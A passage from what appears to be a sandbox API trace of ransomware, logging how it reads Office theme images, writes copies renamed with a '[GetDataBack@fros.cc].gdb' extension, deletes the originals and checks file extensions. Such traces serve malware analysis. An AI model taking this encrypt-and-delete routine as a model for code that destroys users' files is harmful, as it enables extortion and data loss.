Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0125.546] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0125.546] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0125.546] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0125.548] GetLastError () returned 0x0 [0125.548] ReadFile (in: hFile=0x208, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0xa0e, lpOverlapped=0x0) returned 1 [0125.550] WriteFile (in: hFile=0x1c0, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xa10, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xa10, lpOverlapped=0x0) returned 1 [0125.551] ReadFile (in: hFile=0x208, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0125.551] WriteFile (in: hFile=0x1c0, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xea, lpOverlapped=0x0) returned 1 [0125.551] SetEndOfFile (hFile=0x1c0) returned 1 [0125.551] CloseHandle (hObject=0x1c0) returned 1 [0125.551] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0125.552] SetEndOfFile (hFile=0x208) returned 1 [0125.553] CloseHandle (hObject=0x208) returned 1 [0125.553] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0125.553] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif")) returned 1 [0125.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0125.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0125.553] lstrlenW (lpString=".doc") returned 4 [0125.553] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0125.554] lstrlenW (lpString=".docx") returned 5 [0125.554] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0125.554] lstrlenW (lpString=".pdf") returned 4 [0125.554] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0125.554] lstrlenW (lpString=".xls") returned 4 [0125.554] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0125.554] lstrlenW (lpString=".xlsx") returned 5 [0125.554] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0125.554] lstrlenW (lpString=".ppt") returned 4 [0125.554] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0125.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0125.804] lstrlenW (lpString=".zip") returned 4 [0125.804] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0125.804] lstrlenW (lpString=".rar") returned 4 [0125.804] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0125.804] lstrlenW (lpString=".bz2") returned 4 [0125.804] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0125.804] lstrlenW (lpString=".7z") returned 3 [0125.804] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0125.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0125.804] lstrlenW (lpString=".dbf") returned 4 [0125.804] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0125.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0125.804] lstrlenW (lpString=".1cd") returned 4 [0125.804] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0125.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0125.804] lstrlenW (lpString=".jpg") returned 4 [0125.804] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0125.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0125.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0125.805] lstrlenW (lpString=".doc") returned 4 [0125.805] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0125.805] lstrlenW (lpString=".docx") returned 5 [0125.805] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0125.805] lstrlenW (lpString=".pdf") returned 4 [0125.805] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0125.805] lstrlenW (lpString=".xls") returned 4 [0125.805] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0125.805] lstrlenW (lpString=".xlsx") returned 5 [0125.805] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0125.805] lstrlenW (lpString=".ppt") returned 4 [0125.805] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0125.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0125.805] lstrlenW (lpString=".zip") returned 4 [0125.805] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0125.805] lstrlenW (lpString=".rar") returned 4 [0125.805] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0125.805] lstrlenW (lpString=".bz2") returned 4 [0125.805] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0125.805] lstrlenW (lpString=".7z") returned 3 [0125.805] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0125.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0125.805] lstrlenW (lpString=".dbf") returned 4 [0125.805] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0125.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0125.805] lstrlenW (lpString=".1cd") returned 4 [0125.805] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0125.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0125.805] lstrlenW (lpString=".jpg") returned 4 [0125.805] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0125.805] lstrcmpiW (lpString1=".PNG", lpString2=".gdb") returned 1 [0125.805] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0125.805] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0127.124] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=37112) returned 1 [0127.124] CloseHandle (hObject=0x1ec) returned 1 [0127.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png")) returned 0x20 [0127.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0127.124] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0127.124] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0127.124] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0127.124] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0127.125] GetLastError () returned 0x0 [0127.125] ReadFile (in: hFile=0x1ec, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x90f8, lpOverlapped=0x0) returned 1 [0127.127] WriteFile (in: hFile=0x200, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x9100, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x9100, lpOverlapped=0x0) returned 1 [0127.130] ReadFile (in: hFile=0x1ec, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0127.130] WriteFile (in: hFile=0x200, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xec, lpOverlapped=0x0) returned 1 [0127.130] SetEndOfFile (hFile=0x200) returned 1 [0127.130] CloseHandle (hObject=0x200) returned 1 [0127.130] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0127.130] SetEndOfFile (hFile=0x1ec) returned 1 [0127.131] CloseHandle (hObject=0x1ec) returned 1 [0127.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0127.132] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png")) returned 1 [0127.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0127.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0127.132] lstrlenW (lpString=".doc") returned 4 [0127.132] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0127.132] lstrlenW (lpString=".docx") returned 5 [0127.132] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0127.132] lstrlenW (lpString=".pdf") returned 4 [0127.132] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0127.132] lstrlenW (lpString=".xls") returned 4 [0127.132] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0127.132] lstrlenW (lpString=".xlsx") returned 5 [0127.132] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0127.132] lstrlenW (lpString=".ppt") returned 4 [0127.132] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0127.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0127.132] lstrlenW (lpString=".zip") returned 4 [0127.132] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0127.132] lstrlenW (lpString=".rar") returned 4 [0127.132] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0127.132] lstrlenW (lpString=".bz2") returned 4 [0127.132] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0127.133] lstrlenW (lpString=".7z") returned 3 [0127.133] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0127.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0127.133] lstrlenW (lpString=".dbf") returned 4 [0127.133] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0127.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0127.133] lstrlenW (lpString=".1cd") returned 4 [0127.133] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0127.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0127.133] lstrlenW (lpString=".jpg") returned 4 [0127.133] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0127.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0127.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0127.133] lstrlenW (lpString=".doc") returned 4 [0127.133] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0127.133] lstrlenW (lpString=".docx") returned 5 [0127.133] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0127.133] lstrlenW (lpString=".pdf") returned 4 [0127.133] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0127.133] lstrlenW (lpString=".xls") returned 4 [0127.133] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0127.133] lstrlenW (lpString=".xlsx") returned 5 [0127.133] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0127.133] lstrlenW (lpString=".ppt") returned 4 [0127.133] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0127.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0127.133] lstrlenW (lpString=".zip") returned 4 [0127.133] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0127.133] lstrlenW (lpString=".rar") returned 4 [0127.133] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0127.133] lstrlenW (lpString=".bz2") returned 4 [0127.133] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0127.133] lstrlenW (lpString=".7z") returned 3 [0127.133] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0127.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0127.133] lstrlenW (lpString=".dbf") returned 4 [0127.134] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0127.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0127.134] lstrlenW (lpString=".1cd") returned 4 [0127.134] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0127.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0127.134] lstrlenW (lpString=".jpg") returned 4 [0127.134] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0127.134] lstrcmpiW (lpString1=".GIF", lpString2=".gdb") returned 1 [0127.134] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0127.134] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0127.134] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=4100) returned 1 [0127.134] CloseHandle (hObject=0x1ec) returned 1 [0127.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif")) returned 0x20 [0127.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0127.135] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0127.135] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0127.135] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0127.135] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0128.051] GetLastError () returned 0x0 [0128.051] ReadFile (in: hFile=0x1ec, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x1004, lpOverlapped=0x0) returned 1 [0128.052] WriteFile (in: hFile=0x218, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x1010, lpOverlapped=0x0) returned 1 [0128.055] ReadFile (in: hFile=0x1ec, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0128.055] WriteFile (in: hFile=0x218, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xea, lpOverlapped=0x0) returned 1 [0128.056] SetEndOfFile (hFile=0x218) returned 1 [0128.056] CloseHandle (hObject=0x218) returned 1 [0128.056] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0128.056] SetEndOfFile (hFile=0x1ec) returned 1 [0128.057] CloseHandle (hObject=0x1ec) returned 1 [0128.057] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0128.057] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif")) returned 1 [0128.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0128.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0128.057] lstrlenW (lpString=".doc") returned 4 [0128.057] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0128.057] lstrlenW (lpString=".docx") returned 5 [0128.057] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0128.057] lstrlenW (lpString=".pdf") returned 4 [0128.057] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0128.058] lstrlenW (lpString=".xls") returned 4 [0128.058] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0128.058] lstrlenW (lpString=".xlsx") returned 5 [0128.058] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0128.058] lstrlenW (lpString=".ppt") returned 4 [0128.058] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0128.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0128.058] lstrlenW (lpString=".zip") returned 4 [0128.058] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0128.058] lstrlenW (lpString=".rar") returned 4 [0128.058] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0128.058] lstrlenW (lpString=".bz2") returned 4 [0128.058] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0128.058] lstrlenW (lpString=".7z") returned 3 [0128.058] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0128.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0128.058] lstrlenW (lpString=".dbf") returned 4 [0128.058] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0128.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0128.058] lstrlenW (lpString=".1cd") returned 4 [0128.058] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0128.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0128.058] lstrlenW (lpString=".jpg") returned 4 [0128.058] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0128.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0128.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0128.058] lstrlenW (lpString=".doc") returned 4 [0128.058] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0128.058] lstrlenW (lpString=".docx") returned 5 [0128.058] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0128.058] lstrlenW (lpString=".pdf") returned 4 [0128.058] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0128.058] lstrlenW (lpString=".xls") returned 4 [0128.058] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0128.058] lstrlenW (lpString=".xlsx") returned 5 [0128.058] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0128.059] lstrlenW (lpString=".ppt") returned 4 [0128.059] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0128.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0128.059] lstrlenW (lpString=".zip") returned 4 [0128.059] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0128.059] lstrlenW (lpString=".rar") returned 4 [0128.059] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0128.059] lstrlenW (lpString=".bz2") returned 4 [0128.059] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0128.059] lstrlenW (lpString=".7z") returned 3 [0128.059] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0128.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0128.059] lstrlenW (lpString=".dbf") returned 4 [0128.059] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0128.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0128.059] lstrlenW (lpString=".1cd") returned 4 [0128.059] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0128.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0128.059] lstrlenW (lpString=".jpg") returned 4 [0128.059] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0128.059] lstrcmpiW (lpString1=".PNG", lpString2=".gdb") returned 1 [0128.059] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0128.059] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0128.060] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=27177) returned 1 [0128.060] CloseHandle (hObject=0x1ec) returned 1 [0128.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png")) returned 0x20 [0128.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0128.060] CreateFileW 